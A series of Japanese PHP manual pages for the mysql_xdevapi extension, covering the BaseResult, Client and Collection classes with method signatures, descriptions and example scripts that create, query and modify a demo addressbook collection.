  • mysql_xdevapi\BaseResult
  • 直近の操作から発生した警告の数を取得する

BaseResult::getWarningsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

BaseResult::getWarningsCount — 直近の操作から発生した警告の数を取得する

説明

abstract public mysql_xdevapi\BaseResult::getWarningsCount ( ) : int

直近の操作から発生した警告の数を取得します。 特に、これらの警告は MySQL サーバから発生します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から発生した警告の数を返します。

例

例1 mysql_xdevapi\RowResult::getWarningsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

上の例の出力は、 たとえば以下のようになります。

2

User Contributed Notes

There are no user contributed notes for this page.


クライアントクラス

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

コネクションプールへのアクセスを提供します。

クラス概要

mysql_xdevapi\Client {
/* メソッド */
public close ( ) : bool
public getSession ( ) : mysql_xdevapi\Session
}

目次

  • mysql_xdevapi\Client::close — クライアントの接続を閉じる
  • Client::__construct — Client のコンストラクタ
  • Client::getClient — クライアントのセッションを取得する

User Contributed Notes

There are no user contributed notes for this page.


クライアントの接続を閉じる

  • ≪ mysql_xdevapi\Client
  • Client::__construct ≫
  • PHP Manual
  • mysql_xdevapi\Client
  • クライアントの接続を閉じる

mysql_xdevapi\Client::close

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

mysql_xdevapi\Client::close — クライアントの接続を閉じる

説明

public mysql_xdevapi\Client::close ( ) : bool

サーバとのクライアントの接続を全て閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

接続が閉じられれば true を返します。

User Contributed Notes

There are no user contributed notes for this page.


Client のコンストラクタ

  • ≪ mysql_xdevapi\Client::close
  • Client::getClient ≫
  • PHP Manual
  • mysql_xdevapi\Client
  • Client のコンストラクタ

Client::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Client::__construct — Client のコンストラクタ

説明

private mysql_xdevapi\Client::__construct ( )

クライアントオブジェクトを構築します

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Client::__construct() の例

<?php
$pooling_options = '{
  "enabled": true,
    "maxSize": 10,
    "maxIdleTime": 3600,
    "queueTimeOut": 1000
}';
$client = mysql_xdevapi\getClient($connection_uri, $pooling_options);
$session = $client->getSession();

User Contributed Notes

There are no user contributed notes for this page.


クライアントのセッションを取得する

  • ≪ Client::__construct
  • mysql_xdevapi\Collection ≫
  • PHP Manual
  • mysql_xdevapi\Client
  • クライアントのセッションを取得する

Client::getClient

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Client::getClient — クライアントのセッションを取得する

説明

public mysql_xdevapi\Client::getSession ( ) : mysql_xdevapi\Session

クライアントと関連付けられたセッションを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

セッションオブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


Collection クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Collection implements mysql_xdevapi\SchemaObject {
/* プロパティ */
public $name ;
/* メソッド */
public add ( mixed $document ) : mysql_xdevapi\CollectionAdd
public addOrReplaceOne ( string $id , string $doc ) : mysql_xdevapi\Result
public count ( ) : int
public createIndex ( string $index_name , string $index_desc_json ) : void
public dropIndex ( string $index_name ) : bool
public existsInDatabase ( ) : bool
public find ( string $search_condition = ? ) : mysql_xdevapi\CollectionFind
public getName ( ) : string
public getOne ( string $id ) : Document
public getSchema ( ) : Schema Object
public getSession ( ) : Session
public modify ( string $search_condition ) : mysql_xdevapi\CollectionModify
public remove ( string $search_condition ) : mysql_xdevapi\CollectionRemove
public removeOne ( string $id ) : mysql_xdevapi\Result
public replaceOne ( string $id , string $doc ) : mysql_xdevapi\Result
}

プロパティ

name

目次

  • Collection::add — コレクションにドキュメントを追加する
  • Collection::addOrReplaceOne — コレクションのドキュメントを追加または置換する
  • Collection::__construct — Collection のコンストラクタ
  • Collection::count — ドキュメントの数を取得する
  • Collection::createIndex — コレクションにインデックスを作成
  • Collection::dropIndex — コレクションのインデックスを削除
  • Collection::existsInDatabase — コレクションがデータベースに存在するかをチェックする
  • Collection::find — ドキュメントを検索する
  • Collection::getName — コレクションの名前を得る
  • Collection::getOne — ドキュメントをひとつ取得
  • Collection::getSchema — スキーマオブジェクトを得る
  • Collection::getSession — セッションオブジェクトを取得
  • Collection::modify — コレクションのドキュメントを変更する
  • Collection::remove — コレクションを削除する
  • Collection::removeOne — コレクションからドキュメントをひとつ削除する
  • Collection::replaceOne — コレクションのドキュメントをひとつ置き換える

User Contributed Notes

There are no user contributed notes for this page.


コレクションにドキュメントを追加する

  • ≪ mysql_xdevapi\Collection
  • Collection::addOrReplaceOne ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションにドキュメントを追加する

Collection::add

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::add — コレクションにドキュメントを追加する

説明

public mysql_xdevapi\Collection::add ( mixed $document ) : mysql_xdevapi\CollectionAdd

与えられたドキュメントをドキュメントに追加します。 このメソッドでは、複数のバリエーションがサポートされています。 オプションは以下です:

  1. JSON 文字列として単一のドキュメントを追加する

  2. 単一のドキュメントを次のようにして配列で追加する: [ 'field' => 'value', 'field2' => 'value2' ... ]

  3. 上記２つの組み合わせ。 そして、複数のドキュメントが同じ操作で追加できます。

パラメータ

document

ひとつまたは複数のドキュメント。そして、ドキュメントは JSON または フィールドとそれに関連した値を格納した配列 として表現できます。 空の配列は受け入れられません。

MySQL サーバは、ドキュメントごとに(推奨)自動的にユニークな _id 値を生成します。 しかし、これは手動でも追加できます。 この値はユニークでなければなりません。ユニークでない場合、操作は失敗します。

返り値

CollectionAdd オブジェクトを返します。 影響を受けた行を調べたり、操作によって生成された警告の数を得たり、 挿入されたドキュメントのために生成された _id のリストを得るための Result オブジェクトを得るためには、 execute() を使ってください。

例

例1 mysql_xdevapi\Collection::add() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// ふたつのドキュメントを追加
$collection->add('{"name": "Fred",  "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// JSON オブジェクトをひとつ使い、ドキュメントを2つ追加
$result = $collection->add(
  '{"name": "Bernie",
    "jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
    "hobbies": ["Sports","Making cupcakes"]}',
  '{"name": "Jane",
    "jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
    "hobbies": ["Walking","Making pies"]}')->execute();

// 最後の add() から生成されたIDのリストを取得
$ids = $result->getGeneratedIds();
print_r($ids);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

注意

注意:

例で示しているように、ユニークな _id が MySQL サーバ8.0以降では生成されます。 _id フィールドは MySQLサーバ 5.7 を使っている場合は手動で定義しなければなりません。

User Contributed Notes

cyork at echodreamz dot com 20-Aug-2018 08:51
Seems that (at least with MySQL 5.7.23) if you do not set an _id field in the array of items to "add", it fails with error...

 [HY000] Document is missing a required field

Adding "_id" => xxxx does resolve the issue.
jcastro at eftec dot cl 09-Aug-2018 02:14
It returns a mysql_xdevapi\CollectionAdd instead of a mysql_xdevapi\Result


コレクションのドキュメントを追加または置換する

  • ≪ Collection::add
  • Collection::__construct ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションのドキュメントを追加または置換する

Collection::addOrReplaceOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::addOrReplaceOne — コレクションのドキュメントを追加または置換する

説明

public mysql_xdevapi\Collection::addOrReplaceOne ( string $id , string $doc ) : mysql_xdevapi\Result

新しいドキュメントを追加するか、既に存在する場合は置換します。

このメソッドには、複数のシナリオがあります:

  • _id やユニークキーの値がコレクション中のどのドキュメントとも衝突する場合、 ドキュメントは追加されます。

  • id がどのドキュメントともマッチしないものの、 ひとつ以上のユニークキーの値がコレクション中のドキュメントと衝突する場合、 エラーが発生します。

  • id が既に存在するドキュメントにマッチし、ユニークキーもコレクションに定義されていない場合、 ドキュメントは置き換えられます。

  • id が既に存在するドキュメントにマッチする場合、 または 同じドキュメントの全てのユニークキーのうちいずれかとマッチし id がコレクション中のドキュメントと衝突しない場合、 そのドキュメントは置き換えられます。

  • id が既に存在するドキュメントとマッチし、 ひとつ以上のユニークキーが異なるドキュメントにマッチする場合、 エラーが発生します。

パラメータ

id

フィルタid。この id または、 ユニークインデックスを持つ他のフィールドが既にコレクションに存在している場合は、 それにマッチするドキュメントを更新します。

デフォルトでは、この id はレコードが追加された時に自動的に MySQL サーバが生成します。 そして、フィールド名 '_id' で参照されます。

doc

追加または置き換えるドキュメント。JSON文字列です。

返り値

Result オブジェクト

例

例1 mysql_xdevapi\Collection::addOrReplaceOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// add() を使う場合
$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// addOrReplaceOne() を使う場合
// 注意: ここでは、既知の _id 値を渡しています
$result = $collection->addOrReplaceOne('00005b6b53610000000000000056', '{"name": "Fred",  "age": 21, "job": "Construction"}');

?>

User Contributed Notes

There are no user contributed notes for this page.


Collection のコンストラクタ

  • ≪ Collection::addOrReplaceOne
  • Collection::count ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • Collection のコンストラクタ

Collection::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::__construct — Collection のコンストラクタ

説明

private mysql_xdevapi\Collection::__construct ( )

コレクションオブジェクトを構築します。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Collection::getOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// ユニークな _id が(デフォルト、そして推奨) MySQL サーバによって生成されます
// 以下の操作で、生成された _id を取得します。この例ではひとつしかないので、 $ids[0] になります
$ids        = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

上の例の出力は、 たとえば以下のようになります。

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントの数を取得する

  • ≪ Collection::__construct
  • Collection::createIndex ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • ドキュメントの数を取得する

Collection::count

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::count — ドキュメントの数を取得する

説明

public mysql_xdevapi\Collection::count ( ) : int

この機能は、 MySQL サーバの現在のスキーマとコレクションに対して SELECT COUNT(*) SQL を発行する操作に似ています。 言い換えると、コレクションに存在するドキュメントの数を数えます。

パラメータ

この関数にはパラメータはありません。

返り値

コレクションに存在するドキュメントの数

例

例1 mysql_xdevapi\Collection::count() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection
  ->add(
  '{"name": "Bernie",
    "jobs": [
      {"title":"Cat Herder","Salary":42000},
      {"title":"Father","Salary":0}
    ],
    "hobbies": ["Sports","Making cupcakes"]}',
  '{"name": "Jane",
    "jobs": [
      {"title":"Scientist","Salary":18000},
      {"title":"Mother","Salary":0}
    ],
    "hobbies": ["Walking","Making pies"]}')
  ->execute();

var_dump($collection->count());
?>

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


コレクションにインデックスを作成

  • ≪ Collection::count
  • Collection::dropIndex ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションにインデックスを作成

Collection::createIndex

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::createIndex — コレクションにインデックスを作成

説明

public mysql_xdevapi\Collection::createIndex ( string $index_name , string $index_desc_json ) : void

コレクションにインデックスを作成します。

指定された名前と同じインデックスが既に存在していた場合、 もしくはインデックスの定義が正しくなかった場合は、 例外が投げられます。

パラメータ

index_name

作成するインデックスの名前。 この名前は、 CREATE INDEX SQLクエリが受け入れられる、 正しいものでなければなりません。

index_desc_json

作成するインデックスの定義。 IndexField オブジェクトの配列を含み、 個々のオブジェクトはインデックスに含まれる単一のドキュメントを記述します。 そして、オプションで、インデックスのタイプを示すオプションの文字列を含めます。 インデックスのタイプは、INDEX(デフォルト) または SPATIAL です。

IndexField の記述は、以下のフィールドを含みます:

  • field: 文字列。インデックスされるドキュメンメンバまたはフィールドの完全なパス

  • type: 文字列。フィールドにマップされる、サポートされたSQLカラムの型のうちひとつ。 数値型のために、オプションで UNSIGNED を後ろに続けることができます。 テキスト型のために、インデックスのために考慮する長さを追加できます。

  • required: bool。 (オプション) フィールドがドキュメントで必須である場合、trueを指定します。 デフォルトは false です。 GEOJSON では例外的に、デフォルトが true です。

  • options: integer, (オプション) GEOJSON データをデコードする時に使う特別なのオプションフラグ

  • srid: integer, (オプション) GEOJSON データをデコードする時に使う srid の値

IndexDefinition や IndexField に、上記で説明していないフィールドを含めるとエラーになります。

返り値

例

例1 mysql_xdevapi\Collection::createIndex() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// text index を作る
$collection->createIndex(
  'myindex1',
  '{"fields": [{
    "field": "$.name",
    "type": "TEXT(25)",
    "required": true}],
    "unique": false}'
);

// spatial インデックスを作る
$collection->createIndex(
  'myindex2',
  '{"fields": [{
    "field": "$.home",
    "type": "GEOJSON",
    "required": true}],
    "type": "SPATIAL"}'
);

// 複数のフィルードを持つインデックス
$collection->createIndex(
  'myindex3',
  '{"fields": [
    {
      "field": "$.name",
      "type": "TEXT(20)",
      "required": true
    },
    {
      "field": "$.age",
      "type": "INTEGER"
    },
    {
      "field": "$.job",
      "type": "TEXT(30)",
      "required": false
    }
  ],
  "unique": true
  }'
);

User Contributed Notes

There are no user contributed notes for this page.


コレクションのインデックスを削除

  • ≪ Collection::createIndex
  • Collection::existsInDatabase ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションのインデックスを削除

Collection::dropIndex

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::dropIndex — コレクションのインデックスを削除

説明

public mysql_xdevapi\Collection::dropIndex ( string $index_name ) : bool

コレクションのインデックスを削除します。

この操作は、インデックスが存在しなくてもエラーは発生しません。 しかし、その場合には false を返します。

パラメータ

index_name

削除するコレクションのインデックスの名前

返り値

DROP INDEX の操作が成功したら true そうでなければ false

例

例1 mysql_xdevapi\Collection::dropIndex() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

$collection->createIndex(
  'myindex',
  '{"fields": [{"field": "$.name", "type": "TEXT(25)", "required": true}], "unique": false}'
);

// ...

if ($collection->dropIndex('myindex')) {
    echo 'An index named 'myindex' was found, and dropped.';
}
?>

上の例の出力は以下となります。

An index named 'myindex' was found, and dropped.

User Contributed Notes

There are no user contributed notes for this page.


コレクションがデータベースに存在するかをチェックする

  • ≪ Collection::dropIndex
  • Collection::find ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションがデータベースに存在するかをチェックする

Collection::existsInDatabase

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::existsInDatabase — コレクションがデータベースに存在するかをチェックする

説明

public mysql_xdevapi\Collection::existsInDatabase ( ) : bool

コレクションオブジェクトが、データベース(スキーマ)内のコレクションを参照しているかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

コレクションがデータベースに存在していれば true を返します。 そうでなければ、false を返します。

2つのカラム (doc と _id) で定義されたテーブルは、 コレクションと見なされます。 MySQL 8.0.21 以降では、doc, _id, _json_schema の3つのカラムで構成されたテーブルが コレクションと見なされます。 これに対してカラムを追加すると、 existsInDatabase() はコレクションとは見なさなくなります。

例

例1 mysql_xdevapi\Collection::existsInDatabase() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

// ...

if (!$collection->existsInDatabase()) {
    echo "The collection no longer exists in the database named addressbook. What happened?";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントを検索する

  • ≪ Collection::existsInDatabase
  • Collection::getName ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • ドキュメントを検索する

Collection::find

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::find — ドキュメントを検索する

説明

public mysql_xdevapi\Collection::find ( string $search_condition = ? ) : mysql_xdevapi\CollectionFind

ドキュメントが属するデータベースコレクションやドキュメントの集合を検索します。 見つかったドキュメントは CollectionFind オブジェクトとして返され、 後の変更や結果の取得に使えます。

パラメータ

search_condition

オプションですが、通常はドキュメントのサブセットの結果を限定するために条件を定義します。

複数の要素が条件を構成できますし、条件の文法はパラメータのバインドもサポートしています。 検索条件として使える式は MySQL で有効なものでなければなりません。 検索条件が与えられない(フィールドが空)場合、find('true') が与えられたと見做されます。

返り値

操作を検証したり、見つかったドキュメントを取得するための CollectionFind オブジェクト

例

例1 mysql_xdevapi\Collection::find() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred",     "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob",        "age": 19, "job": "Swimmer"}')->execute();
$collection->add('{"name": "Fred",       "age": 20, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma",      "age": 21, "job": "Teacher"}')->execute();
$collection->add('{"name": "Suki",       "age": 22, "job": "Teacher"}')->execute();

$find   = $collection->find('job LIKE :job AND age > :age');
$result = $find
  ->bind(['job' => 'Teacher', 'age' => 20])
  ->sort('age DESC')
  ->limit(2)
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b536100000000000000a8
            [age] => 22
            [job] => Teacher
            [name] => Suki
        )
    [1] => Array
        (
            [_id] => 00005b6b536100000000000000a7
            [age] => 21
            [job] => Teacher
            [name] => Wilma
        )
)

User Contributed Notes

There are no user contributed notes for this page.


コレクションの名前を得る

  • ≪ Collection::find
  • Collection::getOne ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションの名前を得る

Collection::getName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::getName — コレクションの名前を得る

説明

public mysql_xdevapi\Collection::getName ( ) : string

コレクションの名前を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

コレクションの名前を文字列で返します。

例

例1 mysql_xdevapi\Collection::getName() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

var_dump($collection->getName());
?>

上の例の出力は、 たとえば以下のようになります。

string(6) "people"

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントをひとつ取得

  • ≪ Collection::getName
  • Collection::getSchema ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • ドキュメントをひとつ取得

Collection::getOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::getOne — ドキュメントをひとつ取得

説明

public mysql_xdevapi\Collection::getOne ( string $id ) : Document

コレクションから、ドキュメントをひとつ取得します。

これは、以下のコードのショートカットです: Collection.find("_id = :id").bind("id", id).execute().fetchOne();

パラメータ

id

コレクションのドキュメントの _id

返り値

コレクションオブジェクトを返します。 _id にドキュメントがマッチしなければ、null を返します。

例

例1 mysql_xdevapi\Collection::getOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// A unique _id is (by default, and recommended) generated by MySQL Server
// This retrieves the generated _id's; only one in this example, so $ids[0]
$ids        = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

上の例の出力は、 たとえば以下のようになります。

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


スキーマオブジェクトを得る

  • ≪ Collection::getOne
  • Collection::getSession ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • スキーマオブジェクトを得る

Collection::getSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::getSchema — スキーマオブジェクトを得る

説明

public mysql_xdevapi\Collection::getSchema ( ) : Schema Object

コレクションを含むスキーマオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功すれば、スキーマオブジェクト。 与えられたコレクションのスキーマオブジェクトを取得できなければ、null を返します。

例

例1 mysql_xdevapi\Collection::getSchema() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

var_dump($collection->getSchema());
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


セッションオブジェクトを取得

  • ≪ Collection::getSchema
  • Collection::modify ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • セッションオブジェクトを取得

Collection::getSession

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::getSession — セッションオブジェクトを取得

説明

public mysql_xdevapi\Collection::getSession ( ) : Session

コレクションオブジェクトから、新しいセッションオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

セッションオブジェクトを返します。

例

例1 mysql_xdevapi\Collection::getSession() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

$newsession = $collection->getSession();

var_dump($session);
var_dump($newsession);
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Session)#1 (0) {
}
object(mysql_xdevapi\Session)#4 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


コレクションのドキュメントを変更する

  • ≪ Collection::getSession
  • Collection::remove ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションのドキュメントを変更する

Collection::modify

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::modify — コレクションのドキュメントを変更する

説明

public mysql_xdevapi\Collection::modify ( string $search_condition ) : mysql_xdevapi\CollectionModify

特定の検索条件にマッチするコレクションを変更します。 複数の操作が可能であり、パラメータのバインドもサポートされています。

パラメータ

search_condition

変更するドキュメントに マッチさせるために使う、有効な MySQL の式でなければなりません。 この式は、true と評価される単純なものであれば可能です。 true と評価された全てのドキュメントにマッチします。 もしくは、関数と指揮を次のように使うこともできます。 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0', '_id IN ["2","5","7","10"]'.

返り値

操作が実行されない場合、この関数は追加の変更操作を追加できる Modify オブジェクトを返します。

変更操作が実行された場合、返されるオブジェクトには操作結果が含まれます。

例

例1 mysql_xdevapi\Collection::modify() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob",    "age": 19, "job": "Painter"}')->execute();

// 全ての Painter のばめに、ふたつ job を追加: Artist と Crafter です
$collection
  ->modify("job in ('Butler', 'Painter')")
  ->arrayAppend('job', 'Artist')
  ->arrayAppend('job', 'Crafter')
  ->execute();

// age が 21 の全てのドキュメントから、'beer' フィールドを削除
$collection
  ->modify('age < 21')
  ->unset(['beer'])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


コレクションを削除する

  • ≪ Collection::modify
  • Collection::removeOne ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションを削除する

Collection::remove

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::remove — コレクションを削除する

説明

public mysql_xdevapi\Collection::remove ( string $search_condition ) : mysql_xdevapi\CollectionRemove

特定の検索条件に合致するコレクションを削除します。 複数の操作が可能で、パラメータのバインドもサポートしています。

パラメータ

search_condition

変更するドキュメントに マッチさせるために使う、有効な MySQL の式でなければなりません。 この式は、true と評価される単純なものであれば可能です。 true と評価された全てのドキュメントにマッチします。 もしくは、関数と指揮を次のように使うこともできます。 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0', '_id IN ["2","5","7","10"]'.

返り値

操作が実行されない場合、この関数は追加の削除操作を追加できる Remove オブジェクトを返します。

削除操作が実行された場合、返されるオブジェクトには操作結果が含まれます。

例

例1 mysql_xdevapi\Collection::remove() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob",    "age": 19, "job": "Painter"}')->execute();

// 全ての Painter を削除
$collection
  ->remove("job in ('Painter')")
  ->execute();

// もっとも古い Bulter を削除
$collection
  ->remove("job in ('Butler')")
  ->sort('age desc')
  ->limit(1)
  ->execute();

// age が一番低いレコードを削除
$collection
  ->remove('true')
  ->sort('age desc')
  ->limit(1)
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


コレクションからドキュメントをひとつ削除する

  • ≪ Collection::remove
  • Collection::replaceOne ≫
  • PHP Manual
  • mysql_xdevapi\Collection
  • コレクションからドキュメントをひとつ削除する

Collection::removeOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::removeOne — コレクションからドキュメントをひとつ削除する

説明

public mysql_xdevapi\Collection::removeOne ( string $id ) : mysql_xdevapi\Result

指定したIDに対応するドキュメントをコレクションから削除する。 これは、Collection.remove("_id = :id").bind("id", id).execute() のショートカットです。

パラメータ

id

削除するコレクションのドキュメントのID。 これは、通常はレコードが追加されたときに MySQLサーバ が生成した _id の値です。

返り値

影響を受けたアイテムの数、 または、操作によって発生した警告の数 を問い合わせるために使われる Resultオブジェクト。

例

例1 mysql_xdevapi\Collection::removeOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// Normally the _id is known by other means,
// but for this example let's fetch the generated id and use it
$ids       = $result->getGeneratedIds();
$alfred_id = $ids[0];

$result = $collection->removeOne($alfred_id);

if(!$result->getAffectedItemsCount()) {
    echo "Alfred with id $alfred_id was not removed.";
} else {
    echo "Goodbye, Alfred, you can take _id $alfred_id with you.";
}
?>

上の例の出力は、 たとえば以下のようになります。

Goodbye, Alfred, you can take _id 00005b6b536100000000000000cb with you.

User Contributed Notes

There are no user contributed notes for this page.


コレクションのドキュメントをひとつ置き換える

  • ≪ Collection::removeOne
  • mysql_xdevapi\CollectionAdd ≫
  • PHP Manual
